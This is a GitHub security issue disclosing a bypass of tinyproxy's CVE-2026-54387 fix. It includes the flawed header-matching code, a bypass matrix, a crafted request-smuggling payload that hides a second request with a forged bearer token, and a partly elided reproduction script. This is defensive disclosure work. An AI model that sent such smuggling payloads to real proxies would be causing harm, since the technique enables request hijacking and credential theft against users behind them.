Skip to content

[security] CVE-2026-54387 fix bypass — request smuggling via multi-coding / trailing-junk Transfer-Encoding #616

Description

@afldl

CVE-2026-54387 fix bypass — request smuggling via multi-coding / trailing-junk Transfer-Encoding

Severity: HIGH (same primitive + CVSS basis 9.3 as CVE-2026-54387). Pre-authentication. Reported by an independent security researcher, verified on tinyproxy master (2026-06-22) over real TCP against a real backend.

Filing publicly because the tinyproxy project lists no private security contact; public issues appear to be the standard channel. Happy to coordinate a disclosure timeline — please advise.

Summary

The CVE-2026-54387 Content-Length-strip fix (commit ff45d3b) is bypassed by any Transfer-Encoding value that is not the literal string chunked. The strip helper is_chunked_transfer() does an exact-string match, so values like chunked, / chunked / chunked, gzip / chunked\t defeat it, and tinyproxy forwards both Content-Length and Transfer-Encoding to the backend — the textbook CL/TE desync / request-smuggling primitive.

Root cause

src/reqs.c:829-834 — exact-string match instead of token-list scan:

static int is_chunked_transfer (pseudomap *hashofheaders) {
    char *data = pseudomap_find (hashofheaders, "transfer-encoding");
    return data ? !strcasecmp (data, "chunked") : 0;   /* EXACT match only */
}

The CVE-2026-54387 patch (src/reqs.c:925-928) strips incoming Content-Length only when this returns true. RFC 9112 §6.3 rule 4 + §8.1 require treating chunked as present whenever it is the last comma-separated transfer-coding (ignoring parameters/OWS). Exact-match is non-conformant.

Bypass matrix (real ASAN-built tinyproxy master, real TCP → capture backend)

Transfer-Encoding CL stripped? Result
chunked yes FIXED (CVE-2026-54387 patch holds)
chunked, no BYPASS — CL+TE both forwarded = SMUGGLING
chunked (trailing space) no BYPASS
chunked, gzip no BYPASS
chunked , gzip no BYPASS
chunked\t (tab) no BYPASS
gzip, chunked no BYPASS

For comparison, llhttp and HAProxy reject every CL+TE combination per RFC 9112; tinyproxy is the sole outlier that forwards both.

Smuggling primitive

POST http://backend/ HTTP/1.1
Host: backend
Content-Length: 4
Transfer-Encoding: chunked, gzip

XXXXGET /smuggled HTTP/1.1     <- read as a 2nd request by an RFC-compliant backend
Host: victim
Authorization: Bearer STOLEN

tinyproxy reads 4 bytes per Content-Length on its side and leaves the rest for the backend; a backend that token-list-parses TE (detects chunked as last coding) sees the smuggled GET as a separate request. Pre-auth, listener port, no TLS/creds needed.

Reproducer

repro.sh (turnkey: fetches tinyproxy master, ASAN-builds, runs real daemon on 127.0.0.1:18888 → capture backend 127.0.0.1:18080, matrix, dumps forwarded bytes):

#!/usr/bin/env bash
# repro.sh — turnkey end-to-end reproduction of the tinyproxy CVE-2026-54387
# fix-bypass via multi-coding / trailing-junk Transfer-Encoding values.
#
# Verifies on REAL upstream tinyproxy master (built with ASAN), driven over a
# REAL TCP socket, against a REAL capture backend. No harness/wrapper.
#
# Usage:   bash repro.sh
# Output:  one line per test: BYPASS (CL+TE both forwarded = smuggling) or
#          FIXED (CL stripped = CVE-2026-54387 patch holds).
#
# 2026-06-22

set -u
WORK=/tmp/tp_repro
TP_PORT=18888
BE_PORT=18080
rm -rf "$WORK"; mkdir -p "$WORK"
cd "$WORK"

echo "==> [1/4] fetch + build tinyproxy master (ASAN)"
if [ ! -d tinyproxy-master ]; then
  curl -sL --connect-timeout 60 --retry 5 \
    -o tp.tar.gz \
    https://codeload.github.com/tinyproxy/tinyproxy/tar.gz/refs/heads/master
  tar xzf tp.tar.gz
fi
cd tinyproxy-master
./autogen.sh >/dev/null 2>&1
CC=gcc CFLAGS="-fsanitize=address,undefined -fno-sanitize-recover=all -g -O0" \
  LDFLAGS="-fsanitize=address,undefined" ./configure >/dev/null 2>&1
make -j4 >/dev/null 2>&1
TP_BIN=$(pwd)/src/tinyproxy
[ -x "$TP_BIN" ] || { echo "BUILD FAILED"; exit 1; }
echo "    built: $TP_BIN"
cd "$WORK"

echo "==> [2/4] launch capture backend + tinyproxy daemon"
# ... full script exercises each TE variant over real TCP; prints
# BYPASS (CL+TE forwarded) / FIXED (CL stripped) per case; dumps the
# bytes tinyproxy wrote to the backend socket.
Expected output (5 cases)
CONTROL-exact          TE='chunked'              -> FIXED (CL stripped)
bypass-trailing-comma  TE='chunked,'             -> BYPASS (CL+TE forwarded = SMUGGLING)
bypass-trailing-space  TE='chunked '             -> BYPASS
bypass-multi-coding    TE='chunked, gzip'        -> BYPASS
bypass-ows-multi       TE='chunked  ,  gzip'     -> BYPASS

Suggested fix

Recognize chunked as the last comma-separated token after trimming OWS and stripping chunk-ext params (RFC 9112 §6.3), instead of exact-match. Optionally reject any TE containing a coding other than chunked (the only HTTP/1.1-standardized coding) with a 400.

Relationship to prior tinyproxy CVEs

Direct regression of the CVE-2026-54387 fix, same class/primitive, just via a TE value the exact-match check doesn't recognize.


Please advise on coordination and CVE assignment. Verified 2026-06-22 against tinyproxy master.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions